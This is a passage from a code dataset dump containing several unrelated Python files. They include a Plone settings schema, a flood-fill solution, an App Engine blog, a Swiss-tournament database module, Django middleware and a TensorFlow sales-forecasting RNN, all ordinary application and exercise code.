1e-3)\n\nprint()","sub_path":"object_detection_fastai/examples/DetrExample.py","file_name":"DetrExample.py","file_ext":"py","file_size_in_byte":2016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"374450847","text":"from zope.interface import Interface\nfrom zope import schema\n\nfrom plone.app.registry.browser.controlpanel import RegistryEditForm\nfrom plone.app.registry.browser.controlpanel import ControlPanelFormWrapper\nfrom plone.z3cform import layout\n\nfrom dexterity.membrane import _\n\nlocal_roles_desc = u\"\"\"\nThe list of additional local roles members will be granted in the context\nof their own profile objects\n\"\"\"\nuse_email_as_username_desc = u\"\"\"\nIf checked, the value in the \"email\" field will be used as a username/login.\nIf unchecked, your content type must provide a \"username\" field.\n\"\"\"\nuse_uuid_as_userid_desc = u\"\"\"\nIf checked, the UUID value for the adapted object will be used for a userid.\nOtherwise, the username will be used for the userid.\n\"\"\"\n\n\nclass IDexterityMembraneSettings(Interface):\n \"\"\" Enables through-the-web configuration of some aspects of the\n dexterity.membrane behaviours.\n \"\"\"\n\n properties_whitelist = schema.Set(\n title=_(u'Properties whitelist'),\n description=_(u'The list of properties to fetch in the user object.'),\n value_type=schema.ASCIILine(title=_(u'Property')),\n required=False,\n missing_value=set([]),\n default=set([]),\n )\n\n local_roles = schema.Set(\n title=_(u'Local Roles'),\n description=_(u'local_roles',\n default=local_roles_desc),\n value_type=schema.TextLine(),\n required=False,\n missing_value=set([]),\n default=set([])\n )\n\n use_email_as_username = schema.Bool(\n title=_(u'Use email address for username?'),\n description=_(u'use_email_address_for_username',\n default=use_email_as_username_desc),\n required=False\n )\n\n use_uuid_as_userid = schema.Bool(\n title=_(u'Use object UUID for the userid?'),\n description=_(u'use_uuid_as_userid_desc',\n default=use_uuid_as_userid_desc),\n required=False\n )\n\n\nclass DexterityMembraneControlPanelForm(RegistryEditForm):\n schema = IDexterityMembraneSettings\n\n\nDexterityMembraneControlPanelView = layout.wrap_form(\n DexterityMembraneControlPanelForm, ControlPanelFormWrapper)\n","sub_path":"dexterity/membrane/behavior/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":2182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"14727152","text":"class Solution:\n\n def depthFirst(self, sr, sc):\n\n # out of limit\n if not (0 <= sr < len(self.color)) or not (0 <= sc < len(self.color[0])):\n return False\n\n # if it is not the pond\n if self.color[sr][sc] != self.oldColor:\n return False\n\n # print(sr, sc, self.color[sr][sc])\n if self.color[sr][sc] == self.oldColor:\n self.color[sr][sc] = self.newColor\n self.depthFirst(sr - 1, sc)\n self.depthFirst(sr + 1, sc)\n self.depthFirst(sr, sc - 1)\n self.depthFirst(sr, sc + 1)\n\n return True\n\n def floodFill(self, image: List[List[int]], sr: int, sc: int, newColor: int) -> List[List[int]]:\n\n # if the new color and the color of the cluster is the same\n if image[sr][sc] == newColor:\n return image\n\n self.color = image\n self.oldColor = image[sr][sc]\n self.newColor = newColor\n self.depthFirst(sr, sc)\n return self.color","sub_path":"easy/Flood_Fill/source/dfs.py","file_name":"dfs.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"499931228","text":"import sys\nsys.stdin = open('input.txt')\n\nT = int(input())\nresult = [0]*T\ndef min_fee(month, fee):\n global total\n if month > 12:\n if total > fee:\n total = fee\n else:\n for i in range(3):\n if i == 0:\n min_fee(month +periods[i], fee + (fees[i]*infos[month]))\n else:\n min_fee(month +periods[i], fee + fees[i])\nfor t in range(T):\n fees = list(map(int, input().split()))\n infos = [0] + list(map(int, input().split()))\n periods = [1,1,3]\n total = fees[3]\n min_fee(1,0)\n result[t] = total\nfor r in range(T):\n print('#{} {}'.format(r+1, result[r]))","sub_path":"swea/1952/1952_김주현 코드.py","file_name":"1952_김주현 코드.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"54362879","text":"from handler import Handler\nfrom google.appengine.ext import db\nimport hashlib, string, random, json\nfrom datetime import datetime\nfrom utils import *\nfrom data import *\n\nCACHE = {}\nfront_page_key = \"front page\"\ndef get_all_posts():\n if front_page_key in CACHE:\n return CACHE[front_page_key][0]\n else:\n posts = db.GqlQuery(\"SELECT * FROM Post \"\n \"ORDER BY created DESC\")\n CACHE[front_page_key] = (posts, datetime.now())\n return posts\n\ndef get_home_query_diff():\n if front_page_key in CACHE:\n return (datetime.now() - CACHE[front_page_key][1]).seconds\n else:\n return 0\n\ndef get_post(post_id):\n if post_id in CACHE:\n return CACHE[post_id][0]\n else:\n post = Post.get_by_id(post_id, parent=None)\n CACHE[post_id] = (post, datetime.now())\n return post\n\ndef get_query_diff(post_id):\n if post_id in CACHE:\n return (datetime.now() - CACHE[post_id][1]).seconds\n else:\n return 0\n\nclass Blog(Handler):\n def get(self):\n difference = get_home_query_diff()\n posts = get_all_posts()\n self.render(\"blog.html\", posts=posts, seconds=difference)\n\nclass NewPost(Handler):\n def render_page(self, subject=\"\", content=\"\", error=\"\"):\n self.render(\"blog_new_post.html\", subject=subject, content=content,\n error=error)\n\n def get(self):\n self.render_page()\n\n def post(self):\n subject = self.request.get(\"subject\")\n content = self.request.get(\"content\")\n\n if subject and content:\n post = Post(subject=subject, content=content)\n post.put()\n\n CACHE.pop(front_page_key, None)\n\n self.redirect(\"/blog/\" + str(post.key().id()))\n else:\n error = \"Please enter both a subject and content!\"\n self.render_page(subject, content, error)\n\nclass BlogPost(Handler):\n def render_page(self, blog_id=None, seconds=0):\n blog_post = get_post(blog_id)\n self.render(\"blog_post.html\", blog_post=blog_post,\n created_date=blog_post.created.date,\n seconds=seconds)\n\n def get(self, blog_id):\n self.render_page(int(blog_id), get_query_diff(int(blog_id)))\n\nclass BlogFlush(Handler):\n def get(self):\n CACHE.clear()\n self.redirect('/blog/')\n\nclass BlogJSON(Handler):\n def get(self):\n posts = Post.all()\n posts = list(posts)\n\n results = []\n for post in posts:\n results.append({'content' : post.content,\n 'subject' : post.subject,\n 'created' : str(post.created)\n })\n self.response.headers['Content-Type'] = \"application/json\"\n self.response.out.write(json.dumps(results))\n\nclass BlogPostJSON(Handler):\n def get(self, blog_id):\n post = Post.get_by_id(int(blog_id), parent=None)\n\n if post:\n self.response.headers['Content-Type'] = \"application/json\"\n self.response.out.write(json.dumps({'content' : post.content,\n 'subject' : post.subject,\n 'created' : str(post.created)\n }))\n else:\n self.response.out.write(\"Invalid post id\")\n","sub_path":"python/blog.py","file_name":"blog.py","file_ext":"py","file_size_in_byte":3370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"326114870","text":"import json\n\n## Delete these values when the programm works!\nstats = [1000, 1000, 0, 0, 0]\ntime = 0\nconfig = json.load(open('DATA\\\\Warrior\\\\config'))\nskill = json.load(open('DATA\\\\Warrior\\\\Skills\\\\Longbow\\\\2'))\n\n\nenemy = {\n 'hitpoints': 10000000,\n 'armor': 1200,\n 'conditions': config['enemy_conditions']\n}\n\n\nplayer = {\n 'ressources': {\n 'hitpoints': 100,\n 'endurance': 100,\n 'adrenalin': 0\n },\n 'stats': stats,\n 'class_mechanics': config['class_mechanics'],\n 'active_weapon': 1,\n 'boons': config['boons']\n}\n\n## For now we use the higher weaponstrength, also find where dmg is for an arbitrary skill\ndef cast(enemy, player, skill, time):\n i = 0,\n while skill['facts'][i]['text'] != 'Damage':\n i = i+1\n\n base_damage = config['weapons']['mainhand' + str(player['active_weapon'])]['weaponstrength'][1] * player['stats'][1] * skill['facts'][i]['dmg_multiplier'] /enemy['armor']\n full_damage = base_damage * (1+enemy['conditions']['vulnerability'][T]*0.01)\n\ncast(enemy, player, skill, time)","sub_path":"SkillCaster.py","file_name":"SkillCaster.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"170019382","text":"import names\nimport random\nfrom random import randint\nfrom datetime import date, timedelta\nfrom randomtimestamp import randomtimestamp\n\n\njob_title_list = [\"Manager\", \"Salesperson\", \"Engineer\", \"Secretary\"]\nmanager_id_list = [90001, 90002, 90003, 90004, 90005, 90006]\n\n\ndepartments = [\n {'Department ID': 1, 'Department Name': \"Management\", 'Location': \"London\"},\n {'Department ID': 2, 'Department Name': \"Engineering\",\n 'Location': \"Cardiff\"},\n {'Department ID': 3, 'Department Name': \"Research & Development\",\n 'Location': \"Edinburgh\"},\n {'Department ID': 4, 'Department Name': \"Sales\", 'Location': \"Belfast\"}\n]\n\n\ndef get_department_by_id(departments, id):\n return [department for department in departments if department['Department ID'] == id]\n\n\ndef get_department_by_location(departments, location):\n return [department for department in departments if department['Location'] == location]\n\n\ndef get_employees_by_department(employees, department_id):\n return [employee for employee in employees if employee['Department ID'] == department_id]\n\n\ndef generate_department_report(employees, department_id):\n employees_by_department = get_employees_by_department(\n employees, department_id)\n\n newList = []\n for employee in employees_by_department:\n newList.append({'Employee ID': employee['Employee ID'],\n 'Employee Name': employee['Employee Name'], 'Job Title': employee['Job Title'], 'Salary': employee['Salary']})\n\n return newList\n\n\ndef generate_location_report(employees, location):\n department = get_department_by_location(departments, location)[0]\n employees_by_location = get_employees_by_department(\n employees, department['Department ID'])\n\n newList = []\n for employee in employees_by_location:\n newList.append({'Employee ID': employee['Employee ID'],\n 'Employee Name': employee['Employee Name'], 'Job Title': employee['Job Title'],\n 'Salary': employee['Salary'], 'Department Name': department['Department Name']})\n\n return newList\n\n\ndef generate_full_report(employees):\n departments_keyed_by_id = {1: get_department_by_id(departments, 1)[0],\n 2: get_department_by_id(departments, 2)[0],\n 3: get_department_by_id(departments, 3)[0],\n 4: get_department_by_id(departments, 4)[0]}\n\n newList = []\n for employee in employees:\n employee_department_id = employee['Department ID']\n\n department = {}\n if employee_department_id in departments_keyed_by_id.keys():\n department = departments_keyed_by_id[employee_department_id]\n else:\n department = {'Department ID': employee_department_id,\n 'Department Name': '',\n 'Location': ''\n }\n\n newList.append({'Employee ID': employee['Employee ID'],\n 'Employee Name': employee['Employee Name'],\n 'Job Title': employee['Job Title'],\n 'Manager ID': employee['Manager ID'],\n 'Salary': employee['Salary'],\n 'Department ID': department['Department ID'],\n 'Department Name': department['Department Name'],\n 'Location': department['Location']})\n\n return newList\n","sub_path":"utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":3437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"441010394","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n# @Time : 2020/11/3 9:36\n# @Author : jun.chen\n# @Email : jun.chen_8480@foxmail.com\n# @File : TestClassB.py\n# @Software: PyCharm\nfrom core.dir1.TestClassA import ClassA\n\n\nclass ClassB:\n def get_root_path(self):\n classA = ClassA()\n return classA.get_root_path()\n\n def printMsg(self, msg):\n print(\"\\033[0;36m%s\\033[0m\" % msg)\n\n\nif \"__main__\" == __name__:\n classB = ClassB()\n classB.printMsg(\"ClassB_Print:\\t\\t\" + classB.get_root_path())\n","sub_path":"core/dir2/TestClassB.py","file_name":"TestClassB.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"207508000","text":"\"\"\"4th migration\n\nRevision ID: d39dbd4edde0\nRevises: fd7147f7a026\nCreate Date: 2020-12-03 17:53:12.566140\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'd39dbd4edde0'\ndown_revision = 'fd7147f7a026'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('catagories', sa.Column('owner', sa.Integer(), nullable=False))\n op.create_foreign_key(None, 'catagories', 'users', ['owner'], ['id'])\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'catagories', type_='foreignkey')\n op.drop_column('catagories', 'owner')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/20201203_175312_4th_migration.py","file_name":"20201203_175312_4th_migration.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"24531723","text":"# -*- coding: utf-8 -*-\n\nfrom django.conf import settings\n\nfrom django.middleware.csrf import get_token\n\n\n__all__ = [\n\t'SoucheSessionMiddleware',\n\t'EnsureCsrfCookieMiddleware',\n]\n\n\n\nclass SoucheSessionMiddleware(object):\n ''' Process souche session includes car contrast.'''\n\n def process_request(self, request):\n if settings.CAR_CONTRAST_SESSION_NAME not in request.session:\n request.session[settings.CAR_CONTRAST_SESSION_NAME] = []\n\n\nclass EnsureCsrfCookieMiddleware(object):\n\t''' Ensure the csrf_token is in the cookie.'''\n\n\tdef process_view(self, request, callback, callback_args, callback_kwargs):\n\t\tget_token(request)\n\t\treturn None\n","sub_path":"souche/apps/core/middlewares.py","file_name":"middlewares.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"455867208","text":"#!/usr/bin/env python\n# \n# tournament.py -- implementation of a Swiss-system tournament\n#\n\nimport psycopg2\n\n\ndef connect():\n \"\"\"Connect to the PostgreSQL database. Returns a database connection.\"\"\"\n return psycopg2.connect(\"dbname=tournament\")\n\n\ndef deleteMatches():\n \"\"\"Remove all the match records from the database.\"\"\"\n\n #connect to the database \n conn = connect() \n\n #conn.cursor() returns a cursor object, which can be used to execute queries\n c = conn.cursor()\n\n #execute perform the query specified as argument\n #DELETE FROM matches delete all records from matches\n c.execute(\"DELETE FROM matches\")\n\n #commit the changes\n conn.commit()\n \n #close the database connection\n conn.close()\n\n\ndef deletePlayers():\n \"\"\"Remove all the player records from the database.\"\"\"\n \n #connect to the database\n conn = connect() \n\n #conn.cursor() returns a cursor object, which can be used to execute queries\n c = conn.cursor()\n\n #execute perform the query specified as argument\n #DELETE FROM matches delete all records from players\n c.execute(\"DELETE FROM players\")\n\n conn.commit()\n\n conn.close()\n\n\ndef countPlayers():\n \"\"\"Returns the number of players currently registered.\"\"\"\n \n #connect to the database\n conn = connect() \n \n #conn.cursor() returns a cursor object, which can be used to execute queries\n c = conn.cursor()\n \n #execute perform the query specified as argument\n #SELECT COUNT(*) FROM players returns the number of players \n c.execute(\"SELECT COUNT(*) FROM players\")\n \n #fetchone fetches one row\n result = c.fetchone()\n \n #close the database connection\n conn.close()\n \n #access first element of the row\n return result[0]\n\ndef registerPlayer(name):\n \"\"\"Adds a player to the tournament database.\n \n The database assigns a unique serial id number for the player. (This\n should be handled by your SQL database schema, not in your Python code.)\n \n Args:\n name: the player's full name (need not be unique).\n \"\"\"\n #connect to the database\n conn = connect() \n\n #conn.cursor() returns a cursor object, which can be used to execute queries \n c = conn.cursor()\n\n #the following INSERT INTO query insert the name of the players\n #the id is added and incremented automatically by the database\n #%s string format specifier, similar to C-like languages\n #comma needed after name to block SQL injections\n c.execute(\"INSERT INTO players (name) VALUES (%s);\", (name,))\n\n #commit the changes\n conn.commit()\n\n #close the database connection\n conn.close() \n\n\ndef playerStandings():\n \"\"\"Returns a list of the players and their win records, sorted by wins.\n\n The first entry in the list should be the player in first place, or a player\n tied for first place if there is currently a tie.\n\n Returns:\n A list of tuples, each of which contains (id, name, wins, matches):\n id: the player's unique id (assigned by the database)\n name: the player's full name (as registered)\n wins: the number of matches the player has won\n matches: the number of matches the player has played\n \"\"\"\n #connect to the database \n conn = connect() \n\n #conn.cursor() returns a cursor object, which can be used to execute queries\n c = conn.cursor()\n\n #select all rows from standings\n c.execute(\"SELECT * FROM standings\")\n\n #result contains all the rows returned by the query\n result = c.fetchall()\n\n #return rows\n return result\n\n #close the database connection\n conn.close()\n\n\n\ndef reportMatch(winner, loser):\n \"\"\"Records the outcome of a single match between two players.\n\n Args:\n winner: the id number of the player who won\n loser: the id number of the player who lost\n \"\"\"\n #connect to the database\n conn = connect() \n\n #conn.cursor() returns a cursor object, which can be used to execute queries\n c = conn.cursor()\n\n #execute specified as argument\n c.execute(\"INSERT INTO matches (winner_id, loser_id) VALUES (%s, %s);\", (winner,loser,))\n \n #commit changes \n conn.commit()\n \n #close the connection\n conn.close() \n \ndef swissPairings():\n \"\"\"Returns a list of pairs of players for the next round of a match.\n \n Assuming that there are an even number of players registered, each player\n appears exactly once in the pairings. Each player is paired with another\n player with an equal or nearly-equal win record, that is, a player adjacent\n to him or her in the standings.\n \n Returns:\n A list of tuples, each of which contains (id1, name1, id2, name2)\n id1: the first player's unique id\n name1: the first player's name\n id2: the second player's unique id\n name2: the second player's name\n \"\"\"\n # standings (list) stored in standings\n standings = playerStandings()\n\n # number of players (int) stored in num_of_players\n num_of_players = countPlayers()\n\n # make a new list of only even indexes to iterate in standings\n even_indexes = [x for x in range(num_of_players) if x%2==0]\n\n #make an empty list to store the pairs\n list_of_pairs = []\n \n #for all even indexes of standings do...\n for x in even_indexes:\n # here we get the id and name of the player at index 0\n # and we pair it with the player at index 1\n # then we take player at index 2 with player at index 3, etc.\n id1 = standings[x][0]\n name1 = standings[x][1]\n id2 = standings[x + 1][0]\n name2 = standings[x + 1][1]\n pair = (id1, name1, id2, name2)\n # append the pair in the list_of_pairs\n list_of_pairs.append(pair)\n\n # return list of pairs\n return list_of_pairs\n\n","sub_path":"tournament.py","file_name":"tournament.py","file_ext":"py","file_size_in_byte":5834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"459490848","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jan 14 20:30:03 2020\r\n\r\n@author: Anthony Paech 2016\r\n\"\"\"\r\n\r\n# To support both python 2 and python 3\r\nfrom __future__ import division, print_function, unicode_literals\r\n\r\n# Common imports\r\nimport numpy as np\r\nimport pandas as pd\r\nimport os\r\n\r\n# to make this notebook's output stable across runs\r\ndef reset_graph(seed=42):\r\n tf.reset_default_graph()\r\n tf.set_random_seed(seed)\r\n np.random.seed(seed)\r\n\r\n# To plot pretty figures\r\n#%matplotlib inline\r\nimport matplotlib\r\nimport matplotlib.pyplot as plt\r\nplt.rcParams['axes.labelsize'] = 14\r\nplt.rcParams['xtick.labelsize'] = 12\r\nplt.rcParams['ytick.labelsize'] = 12\r\n\r\n# Where to save the figures\r\nPROJECT_ROOT_DIR = \".\"\r\nCHAPTER_ID = \"rnn\"\r\n\r\ntry:\r\n import tensorflow.compat.v1 as tf\r\nexcept Exception:\r\n pass\r\n \r\n # #tf.enable_eager_execution()\r\n # tf.compat.v1.enable_eager_execution(\r\n # config=None,\r\n # device_policy=None,\r\n # execution_mode=None\r\n # )\r\n \r\n # tf.enable_v2_behavior()\r\n \r\n \r\n \r\n #import tensorflow as tf\r\n \r\n #import tensorflow.compat.v1 as tf\r\ntf.disable_v2_behavior()\r\nprint(\"tensorflow:\",tf.__version__)\r\n \r\n\r\n \r\ndef next_batch(sales,product_row_no,batch_size,n_steps,n_inputs):\r\n return sales[product_row_no,:-1].reshape(-1,n_steps,n_inputs),sales[product_row_no,1:].reshape(-1,n_steps,n_inputs) \r\n \r\n\r\n \r\ndef load_data(filename): #,mask_text): #,batch_size,n_steps,n_inputs): \r\n df=pd.read_excel(filename,-1) # -1 means all rows\r\n\r\n\r\n # create a pivot table of code, product, day delta and predicted qty and export back to excel\r\n\r\n df[\"week\"]=df.date.dt.to_period('W')\r\n \r\n\r\n mask=((df[\"product\"]==\"SJ300\") | (df[\"product\"]==\"AJ300\"))\r\n\r\n # mask=(df[\"product\"]==\"SJ300\")\r\n table = pd.pivot_table(df[mask], values='qty', index=['product'],columns=['week'], aggfunc=np.sum, margins=False, fill_value=0) #, observed=True)\r\n print(\"\\ntable=\\n\",table.head(5))# # f.write(\"\\n\\n\"+table.to_string())\r\n print(\"table created.\")\r\n \r\n product_names=list(table.index) #\"t\" #list(table[table[\"product\"]])\r\n #print(\"product names=\",product_names)\r\n sales=table.to_numpy()\r\n \r\n # print(\"sales=\\n\",sales,sales.shape) \r\n return sales,product_names\r\n\r\n\r\n\r\ndef main(): \r\n print(\"\\n\\nSales prediction tool using a neural network - By Anthony Paech 16/2/20\\n\")\r\n \r\n # \r\n\r\n # n_rows=1\r\n batch_size=1 #4 #the number of mini batches at each time step\r\n \r\n # n_steps = 10 # number of time steps of a week each.\r\n # n_inputs = 1 # number of different product unit sales for that time period\r\n n_neurons = 105\r\n # batch_size= 5 #the number of mini batches at each time step\r\n # n_outputs=1\r\n learning_rate=0.001\r\n n_iterations=1000\r\n product_row_no=0\r\n n_predict_steps=80\r\n t_start=3\r\n t_finish=102\r\n \r\n sales,product_names=load_data(\"NAT-raw310120all.xlsx\") #,batch_size,n_steps,n_inputs)\r\n print(\"All sales=\\n\",sales,sales.shape) \r\n print(\"\\nProduct names\",product_names)\r\n # sales=sales[:,-(total_size+1):]\r\n # n_start_inputs=sales.shape[1]\r\n # total_size=n_inputs*n_steps\r\n n_steps=sales.shape[1]-1\r\n n_rows=sales.shape[0]\r\n \r\n n_inputs=2 #105\r\n n_outputs=1\r\n\r\n print(\"\\nTotal number of time steps=\",n_steps,\",Total number of products\",n_rows)\r\n \r\n x_axis=np.arange(0,n_steps+1)\r\n\r\n \r\n plt.figure(figsize=(11,4))\r\n plt.subplot(121)\r\n plt.title(\"A unit sales series\", fontsize=14)\r\n plt.plot(x_axis, sales[product_row_no,x_axis], label=r\"$unit sales$\")\r\n # plt.plot(x_axis[:-1], sales[product_row_no,x_axis[:-1]], \"b-\", linewidth=3, label=\"A training instance\")\r\n plt.legend(loc=\"best\", fontsize=14)\r\n # plt.axis([0, 30, -17, 13])\r\n plt.xlabel(\"Week\")\r\n plt.ylabel(\"UnitSales\")\r\n\r\n plt.subplot(122)\r\n plt.title(\"A training instance\", fontsize=14)\r\n plt.plot(x_axis[:-1], sales[product_row_no,:-1], \"bo\", markersize=10, label=\"instance\")\r\n plt.plot(x_axis[1:], sales[product_row_no,1:], \"w*\", markersize=10, label=\"target\")\r\n plt.legend(loc=\"best\")\r\n plt.xlabel(\"Week\")\r\n\r\n\r\n #save_fig(\"time_series_plot\")\r\n plt.show()\r\n\r\n \r\n \r\n \r\n reset_graph()\r\n \r\n \r\n # batch_size should be n_steps\r\n X = tf.placeholder(tf.float32, [None, n_steps, n_inputs])\r\n y = tf.placeholder(tf.float32, [None, n_steps, n_outputs])\r\n\r\n # one layer\r\n ##cell = tf.nn.rnn_cell.BasicRNNCell(num_units=n_neurons, activation=tf.nn.relu)\r\n cell = tf.nn.rnn_cell.BasicRNNCell(num_units=n_neurons, activation=tf.nn.relu)\r\n ##cell = tf.nn.rnn_cell.GRUCell(num_units=n_neurons)\r\n \r\n # cell = tf.contrib.rnn.OutputProjectionWrapper(\r\n # tf.nn.rnn_cell.BasicRNNCell(num_units=n_neurons, activation=tf.nn.relu),\r\n # output_size=n_outputs)\r\n\r\n# outputs, states = tf.nn.dynamic_rnn(cell, X, dtype=tf.float32)\r\n \r\n \r\n \r\n \r\n rnn_outputs, states = tf.nn.dynamic_rnn(cell, X, dtype=tf.float32)\r\n\r\n stacked_rnn_outputs = tf.reshape(rnn_outputs, [-1, n_neurons])\r\n stacked_outputs = tf.layers.dense(stacked_rnn_outputs, n_outputs)\r\n # outputs = tf.reshape(stacked_outputs, [-1, n_steps, n_outputs])\r\n outputs = tf.reshape(stacked_outputs, [-1,n_steps, n_outputs])\r\n # full_outputs = tf.reshape(stacked_outputs, [-1,n_steps, n_outputs])\r\n\r\n \r\n #multi layers\r\n #layers=[tf.nn.rnn_cell.BasicRNNCell(num_units=n_neurons, activation=tf.nn.relu) for layer in range(n_layers)]\r\n #layers=[tf.nn.rnn_cell.GRUCell(num_units=n_neurons) for layer in range(n_layers)]\r\n\r\n #multi_layer_cell = tf.nn.rnn_cell.MultiRNNCell(layers)\r\n\r\n #outputs, states = tf.nn.dynamic_rnn(multi_layer_cell, X, dtype=tf.float32)\r\n\r\n\r\n\r\n loss = tf.reduce_mean(tf.square(outputs - y))\r\n optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate)\r\n #optimizer = tf.train.MomentumOptimizer(learning_rate=learning_rate, momentum=0.9, use_nesterov=True)\r\n training_op = optimizer.minimize(loss)\r\n\r\n init = tf.global_variables_initializer()\r\n saver = tf.train.Saver()\r\n\r\n\r\n step=0\r\n with tf.Session() as sess:\r\n init.run()\r\n step=0\r\n for iteration in range(n_iterations):\r\n X_batch, y_batch = next_batch(sales,product_row_no,batch_size,n_steps,n_inputs)\r\n # print(\"X_batch=\\n\",X_batch,\"\\ny_batch=\\n\",y_batch)\r\n # print(\"X_batch=\\n\",X_batch.shape,\"\\ny_batch=\\n\",y_batch.shape)\r\n sess.run(training_op, feed_dict={X: X_batch, y: y_batch})\r\n if iteration % 100 == 0:\r\n mse = loss.eval(feed_dict={X: X_batch, y: y_batch})\r\n print(iteration, \"\\tMSE:\", mse)\r\n # print(\"X_batch=\\n\",X_batch,\"\\ny_batch=\\n\",y_batch)\r\n\r\n\r\n X_new=sales[product_row_no,1:].reshape(-1,n_steps, n_inputs)\r\n \r\n# X_new=sales[product_row_no,1:].reshape(-1, n_steps, n_inputs)\r\n # X_new = monthno_instance.reshape(-1, n_steps, n_inputs)\r\n \r\n # print(\"X_new=\",X_new,X_new.shape)\r\n\r\n y_pred = sess.run(outputs, feed_dict={X: X_new})\r\n \r\n saver.save(sess, \"./my_time_series_model\")\r\n \r\n # print(\"y_pred[0,:,0]=\", y_pred[0,:,0])\r\n\r\n plt.title(\"Testing the model\", fontsize=14)\r\n \r\n# plt.plot(x_axis[:-1], sales[0,x_axis[:-1]], \"bo\", markersize=10, label=\"instance\")\r\n# plt.plot(x_axis[1:], sales[0,x_axis[1:]], \"w*\", markersize=10, label=\"target\")\r\n plt.plot(x_axis[2:], sales[product_row_no,2:], \"bo\", markersize=10, label=\"instance\")\r\n plt.plot(x_axis[3:], sales[product_row_no,-n_steps+2:], \"w*\", markersize=10, label=\"target\")\r\n\r\n # print(\"3 y_pred=\",y_pred) #[:,-n_steps:,:]\r\n \r\n plt.plot(x_axis[3:]+1, y_pred[product_row_no,2:,0], \"r.\", markersize=10, label=\"prediction\")\r\n\r\n\r\n plt.legend(loc=\"best\")\r\n plt.xlabel(\"Week\")\r\n\r\n plt.show()\r\n\r\n###############################################################\r\n \r\n# x_axis=np.arange(0,n_steps+n_predict_steps)\r\n \r\n # Creative prediction\r\n##############################\r\n with tf.Session() as sess: # not shown in the book\r\n saver.restore(sess, \"./my_time_series_model\") # not shown\r\n \r\n # last_sales_val=sales[n_steps-1].astype(float)\r\n # sequence = [last_sales_val] * n_steps\r\n\r\n #sequence = [10000.] * n_steps\r\n #sequence = sales[-n_steps:].tolist()\r\n sequence=sales[product_row_no,x_axis].reshape(n_outputs,-1)\r\n # print(\"start sequence=\",sequence,sequence.shape)\r\n\r\n #nexts=sequence[-1]+1\r\n #print(\"sq=\",sequence,\"nexts\",nexts,\"n_steps=\",n_steps)\r\n\r\n for iteration in range(0,n_predict_steps):\r\n X_batch=sequence[product_row_no,-n_steps:].reshape(-1, n_steps, n_inputs)\r\n # X_batch = np.array(sequence[0,-training_length:]).reshape(1,training_length,n_inputs)\r\n y_pred = sess.run(outputs, feed_dict={X: X_batch})\r\n # print(\"x_batch=\\n\",X_batch,\"y_pred=\\n\",y_pred)\r\n # print(\"i=\",iteration,\"y_pred=\",y_pred[0,-1,0])\r\n sequence=np.concatenate((sequence,y_pred[product_row_no, -1, 0].reshape(n_outputs,-1)),axis=1)\r\n # print(\"sequence.shape=\",sequence,sequence.shape)\r\n\r\n # monthno=np.append(monthno,monthno.shape[0]+1)\r\n # print(\"monthno=\",monthno)\r\n \r\n #sequence=sequence.ravel() \r\n# print(\"sequence=\\n\",sequence)\r\n #lensequence=len(sequence)\r\n # print(\"sequence.shape=\",sequence.shape)\r\n # print(\"y_pred=\\n\",y_pred[0,:,0]) \r\n\r\n\r\n######\r\n pred_axis=np.arange(n_steps+1,n_steps+n_predict_steps+1) \r\n plt.figure(figsize=(8,4))\r\n # plt.plot(x_axis[:n_steps+1], sequence[product_row_no,:n_steps+1], \"b-\", linewidth=1)\r\n plt.plot(x_axis, sales[product_row_no,:], linewidth=2,label=r\"$unit sales$\")\r\n plt.plot(pred_axis, sequence[product_row_no,-n_predict_steps:], \"r-\",linewidth=3,label=r\"$unit sales$\")\r\n\r\n # plt.plot(monthno_instance, y_pred[0,:,0], \"r.\", markersize=10, label=\"prediction\")\r\n\r\n # plt.plot(monthno[-lensequence:],sequence,\"b-\", linewidth=3)\r\n plt.xlabel(\"Week\")\r\n plt.ylabel(\"Qty\")\r\n plt.title(\"Unit sales: \"+str(product_names[product_row_no]),fontsize=14)\r\n plt.show()\r\n \r\n \r\n \r\n \r\n \r\n return\r\n\r\n \r\n\r\nif __name__ == '__main__':\r\n main()\r\n\r\n \r\n \r\n \r\n","sub_path":"AG_sales_pred_v3-10.py","file_name":"AG_sales_pred_v3-10.py","file_ext":"py","file_size_in_byte":10306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"476218110","text":"\"\"\"\nCompile Tensorflow Models\n=========================\nThis article is an introductory tutorial to deploy tensorflow models with NNVM.\n\nFor us to begin with, tensorflow module is required to be installed.\n\nA quick solution is to install tensorlfow from\n\nhttps://www.tensorflow.org/install/install_sources\n\"\"\"\n\nimport nnvm\nimport tvm\nimport numpy as np\nimport os.path\n\n# Tensorflow 